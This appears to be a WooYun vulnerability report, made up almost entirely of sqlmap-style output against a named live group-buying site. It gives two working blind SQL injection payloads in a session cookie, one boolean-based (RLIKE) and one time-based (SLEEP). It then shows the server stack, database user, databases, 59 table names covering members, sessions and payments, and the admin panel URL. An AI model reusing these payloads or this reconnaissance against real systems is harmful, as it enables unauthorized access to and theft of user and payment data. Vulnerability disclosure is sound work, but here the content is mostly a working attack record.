WooYun.org

---
Parameter: TTtuangou_tFrcLX_sid (Cookie)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: TTtuangou_tFrcLX_sid=1' RLIKE (SELECT (CASE WHEN (2866=2866) THEN 1 ELSE 0x28 END)) AND 'EZwI'='EZwI; TTtuangou_tFrcLX_loginref=http://hd.tiexue.net/
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: TTtuangou_tFrcLX_sid=1' AND (SELECT * FROM (SELECT(SLEEP(5)))xksz) AND 'gANi'='gANi; TTtuangou_tFrcLX_loginref=http://hd.tiexue.net/
---
web application technology: Nginx, PHP 5.4.7
back-end DBMS: MySQL 5.0.12
current user:    '[email protected]'
available databases [3]:
[*] information_schema
[*] test
[*] txhddata
Database: txhddata
[59 tables]
+--------------------------------------+
| cenwor_system_failedlogins           |
| cenwor_system_log                    |
| cenwor_system_memberfields           |
| cenwor_system_members                |
| cenwor_system_onlinetime             |
| cenwor_system_report                 |
| cenwor_system_robot                  |
| cenwor_system_robot_ip               |
| cenwor_system_robot_log              |
| cenwor_system_role                   |
| cenwor_system_role_action            |
| cenwor_system_role_module            |
| cenwor_system_sessions               |
| cenwor_tttuangou_activity            |
| cenwor_tttuangou_activity_user       |
| cenwor_tttuangou_address             |
| cenwor_tttuangou_api_apps            |
| cenwor_tttuangou_api_protocol        |
| cenwor_tttuangou_api_session         |
| cenwor_tttuangou_article             |
| cenwor_tttuangou_attrs               |
| cenwor_tttuangou_attrs_cat           |
| cenwor_tttuangou_attrs_order         |
| cenwor_tttuangou_catalog             |
| cenwor_tttuangou_city                |
| cenwor_tttuangou_city_place          |
| cenwor_tttuangou_comments            |
| cenwor_tttuangou_express             |
| cenwor_tttuangou_express_area        |
| cenwor_tttuangou_express_cdp         |
| cenwor_tttuangou_express_corp        |
| cenwor_tttuangou_express_printer_log |
| cenwor_tttuangou_finder              |
| cenwor_tttuangou_links               |
| cenwor_tttuangou_metas               |
| cenwor_tttuangou_order               |
| cenwor_tttuangou_order_clog          |
| cenwor_tttuangou_paylog              |
| cenwor_tttuangou_payment             |
| cenwor_tttuangou_prize_phone         |
| cenwor_tttuangou_prize_ticket        |
| cenwor_tttuangou_prize_ticket_win    |
| cenwor_tttuangou_product             |
| cenwor_tttuangou_push_log            |
| cenwor_tttuangou_push_queue          |
| cenwor_tttuangou_push_template       |
| cenwor_tttuangou_question            |
| cenwor_tttuangou_recharge_card       |
| cenwor_tttuangou_recharge_order      |
| cenwor_tttuangou_regions             |
| cenwor_tttuangou_reports             |
| cenwor_tttuangou_seller              |
| cenwor_tttuangou_service             |
| cenwor_tttuangou_subscribe           |
| cenwor_tttuangou_ticket              |
| cenwor_tttuangou_uploads             |
| cenwor_tttuangou_usermoney           |
| cenwor_tttuangou_usermsg             |
| cenwor_tttuangou_zlog                |
+--------------------------------------+
后台地址：http://hd.tiexue.net/admin.php